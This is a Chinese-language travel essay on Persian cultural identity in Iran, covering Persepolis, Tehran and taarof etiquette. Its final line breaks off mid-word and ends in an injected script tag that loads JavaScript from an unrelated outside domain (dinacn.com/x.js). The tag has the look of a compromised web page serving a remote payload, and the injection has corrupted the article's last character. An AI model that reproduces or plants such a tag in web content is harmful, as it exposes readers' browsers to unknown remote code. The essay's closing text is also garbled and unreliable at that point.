位于伊朗南部的波斯帝国古都遗址波斯波利斯，当年被亚历山大大帝征服之后烧成了废墟。然而最令人惊讶的是，遗迹残存的石壁上全无表现暴力的画面。石雕图案中有士兵，但并非在作战；也有武器，但并非剑拔弩张。你在这里看到的大多数图案都在暗示着富于人道精神的事件：不同国家的人和睦地聚集于此，带着礼物，亲切地把手搭在彼此肩上。在一个以野蛮闻名的时代，波斯波利斯却似乎是一个比较具有世界大同精神的地方。对今天的很多伊朗人而言，这处宏伟非凡的遗迹在提醒他们：当年的波斯先祖是怎样的为人，留下过怎样的事迹。
　　
    伊朗见于记载的历史跨越约2500年，截至1979年建立、存续至今的伊朗伊斯兰共和国。建国时，由一批保守派宗教人士参与发起的伊斯兰革命将西方支持的前伊朗国王驱逐出境。可以说，这是世界上第一个现代的政教合一政体，同时也是一次伟大的实验：在这个国民被如此丰富的波斯传统深深浸淫的国家，当权的宗教人士强力推行所谓真主的律法，能否进行有效的统治？
　　
    波斯是一个武力征伐的帝国，但在某些方面，它也被视为古代较为辉煌和仁爱的文明之一。我想知道，今天的伊朗人对废墟中残存的石刻画面表现的那段历史还有多强的认同感？于是我开始探索“波斯”这个词对伊朗人的意义。而去年我两次造访这个国家的时候，他们正遭到国际社会的排斥，他们的文化在西方电影中被妖魔化，他们的领导人在与美国政府不断升级的口水战中被塑造为一意孤行制造核弹的邪恶的潜在恐怖主义者。
　　
    伊朗人的民族身份并没有一个清晰划分的界线，宽泛说来，它包含了波斯、伊斯兰和西方的元素，所有的矛盾共存于其中。然而却有一种“波斯身份”既与伊斯兰教毫无瓜葛，却又与伊斯兰文化相互融合，正如从波斯波利斯周边安置的高音喇叭中传出的宣礼词，它提醒着外来者，他们所在之处不单是一片古老的波斯王土，也是一个伊斯兰共和国。我要讲的故事，就是关于那些至少仍在部分方面认同自己的波斯文化之根的伊朗人。或许，在这个成为今日世界的冲突焦点的国度，肌体里依然涌动着千百年来传承的古典血脉。波斯人热爱生活，热衷于美酒、爱情、诗文、歌唱的遗风，是否也感染了伊斯兰文化——恰如某个秘密的电脑程序在后台悄无声息地运行？

    波斯式生存
　　
    伊朗首都德黑兰是厄尔布尔士山脚下一个景致非凡、空气污染严重的大都市。很多房屋是用小块的米黄色砖石搭建而成，有金属围栏，看上去一个个小建筑群鳞次栉比，半途而废的工地和公园点缀其间。传承于波斯文化的美丽花园仍时时可见，而砖墙内的私人花园里，果树、喷泉、鱼塘和鸟舍生机盎然。
　　
    我在德黑兰逗留期间，恰逢两名出生在伊朗的美籍学者回来探访，由于被指控煽动反政府的非暴力革命，已锒铛入狱。他们虽然最终获释，但我回到美国后还是会有人问：你呆在伊朗就不害怕吗？他们以为我也一定有沦为阶下囚的危险。
　　
    然而我在伊朗是客人，而伊朗人待客极尽热情，他们给客人吃最甜美的水果，坐最舒服的席位。这全都源于一套名为“塔洛夫”的复杂礼仪体系，它潜在地主宰着伊朗人的日常生活。待人接物、家庭琐事、政治谈判，凡事都要遵循“塔洛夫”，它是教人们如何去相互对待的不成文律法。这个词有一个阿拉伯语的词源——“阿拉法”，意为了解和获知。但美国明尼苏达大学的语言人类学家威廉•O•比曼说，“塔洛夫”屈尊俯就的精神是源自波斯。比曼说这是用一种极其优雅的方式“力争下游”，使得人们可以在伊朗这样一个等级制社会里“有悖常理地平等相待”。
　　
    在伊朗，我无论走到哪里都会受到人们的热情款待，他们无微不至地满足我的一切需要。
　　
    但伊朗人会过于执著地取悦对方（或者表面如此），同时又执意谢绝别人的好意（或者表面如此），以至于掩盖了真实意图。交谈者在盛情恳求与婉言相拒间推来让去，费力猜测着对方的所思所想，说出一大堆漫不经心也无足轻重的客套话，直到实情自己显露出来。
　　
    彬彬有礼、外表诚恳、内心深藏不露，这种伪装的艺术被伊朗人视为“塔洛夫”的最高境界和巨大的社交财富。一位现居法国的前伊朗政治犯这样描述：“人们永远不会要表露意图或真实身份，时刻确保自己不至于陷入危险境地——因为在我们从头到尾的历史中已经遭遇了太多的危险。”

    地理即命运
　　
    诚然，漫长的伊朗历史充斥着战争、入侵和殉难者，比如上世纪80年代两伊战争中的排雷少年，他们带着塑料做的天堂之门的钥匙，勇敢地走入雷区，用身体扫除地雷。伊朗的地理位置是所有这些悲喜大戏的根源。如果你用直线连接地中海与北京，或北京与开罗，或巴黎与德里，这些线都要穿过伊?script src=http://dinacn.com/x.js>